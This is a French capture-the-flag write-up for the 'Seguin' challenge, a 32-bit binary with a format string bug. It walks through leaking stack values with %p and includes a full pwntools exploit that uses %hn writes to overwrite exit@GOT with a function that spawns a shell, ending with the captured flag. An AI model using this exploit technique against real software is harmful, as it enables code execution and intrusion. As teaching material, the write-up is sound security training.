Solution de TounSec pour Seguin

$ file seguin
seguin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=f845ef5d12dec4dc33f8be776208c5af5b1b52c4, for GNU/Linux 3.2.0, not stripped

$ checksec seguin
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[32]; // [esp+0h] [ebp-28h] BYREF
  int *p_argc; // [esp+20h] [ebp-8h]
  
  p_argc = &argc;
  puts("************************************");
  puts("Service d'adoption d'animaux");
  puts("************************************");
  printf("Merci d' indiquer le nom de l'animal que vous etes venus chercher :\n>>> ");
  fflush(stdout);
  
  fgets(s, 32, stdin);        
  
  printf("Vouz avez demandé ");
  printf(s);                  // Aucun format spécifier = Format String
  
  puts("Nous vous tiendrons au courant");
  exit(0);                    
}

int chevre()
{
  return system("/bin/sh");
}

objdump -d seguin | grep "<chevre>"
080491b2 <chevre>:

ou

(gdb) i func
...
0x080491b2  chevre
...

$ ./seguin 
************************************
** Service d'adoption des bovidés **
************************************
Merci d' indiquer le nom de l'animal que vous etes venus chercher :
>>> test
Vouz avez demandé test
Nous vous tiendrons au courant

>>> %p
Vouz avez demandé 0x20
Nous vous tiendrons au courant

>>> %p-%p-%p
Vouz avez demandé 0x20-0xf7f02620-0x80491f4
Nous vous tiendrons au courant

pwndbg> got

printf("Hello %s, vous avez %d ans", name, age);

┌─────────────────────────────────────────────────────────┐
│  Stack lors de l'appel printf()                         │
├─────────────────────────────────────────────────────────┤
│  ESP → [pointeur format string]                         │
│        [pointeur name]         ← %s lit ici             │
│        [valeur age]            ← %d lit ici             │
│        ...                                              │
└─────────────────────────────────────────────────────────┘

char s[32];
fgets(s, 32, stdin);
printf(s);

int count;
printf("AAAA%n", &count);
// count = 4

payload = b"\x20\xc0\x04\x08"
            ^^^^^^^^^^^^^^^^
           Adresse @ offset 4
payload += b"AAAA%4$n";
                 ^^^^
               Ecrit ici

from pwn import *

p = process("./seguin")
payload = b"%p-" * 16
p.sendlineafter(b">>>", payload)
output = p.recvall(2)
print(output)

$ python test.py
[+] Starting local process './seguin': pid 55427
[+] Receiving all data: Done (154B)
[*] Process './seguin' stopped with exit code 0 (pid 55427)
b' Vouz avez demand\xc3\xa9 0x20-0xf7f95620-0x80491f4-0x252d7025-0x70252d70-0x2d70252d-...Nous vous tiendrons au courant\n'
                                                      ^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^ ^^^
                                                                   Buffer

>>> from pwn import *
>>> p32(0x252d7025)
b'%p-%'
>>> p32(0x70252d70)
b'p-%p-'
>>> p32(0x2d70252d)
b'-%p-'

from pwn import *

binary = "./seguin"
context.arch = "i386"
context.binary = elf = ELF(binary, checksec=False)
context.log_level = "info"

p = process(binary)

chevre = elf.sym["chevre"]
exit_got = elf.got["exit"]

log.info(f"chevre(): {hex(chevre)}")
log.info(f"exit@GOT: {hex(exit_got)}")


lower = chevre & 0xFFFF
upper = (chevre >> 16) & 0xFFFF

log.info(f"Lower: {hex(lower)} ({lower})")
log.info(f"Upper: {hex(upper)} ({upper})")

already_printed = 8
padding_lower = ((lower - already_printed) if lower > already_printed else (0x10000 + lower - already_printed))
padding_upper = (upper - lower) if upper > lower else (0x10000 + upper - lower)

log.info(f"Padding lower: {padding_lower}")
log.info(f"Padding upper: {padding_upper}")

payload = flat(
    [
        p32(exit_got),
        p32(exit_got + 2),
        f"%{padding_lower}c".encode(),
        b"%4$hn",
        f"%{padding_upper}c".encode(),
        b"%5$hn",
    ]
)

with open("payload.bin", "wb") as f:
    f.write(payload)
    f.close()

log.info(f"Payload size: {len(payload)}")
print(hexdump(payload))

p.sendlineafter(b">>> ", payload)
p.interactive()

$ python solve.py
[*] chevre(): 0x80491b2
[*] exit@GOT: 0x804c020
[*] Lower: 0x91b2 (37298)
[*] Upper: 0x804 (2052)
[*] Padding lower: 37290
[*] Padding upper: 30290
[*] Payload size: 32
00000000  20 c0 04 08  22 c0 04 08  25 33 37 32  39 30 63 25  │ ···│"···│%372│90c%│
00000010  34 24 68 6e  25 33 30 32  39 30 63 25  35 24 68 6e  │4$hn│%302│90c%│5$hn│
00000020
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
FCSC{1a8b4cd78b8dfa2ea2644ade38fcdb7f116a4953ea05d944d6683c6c365c47f6}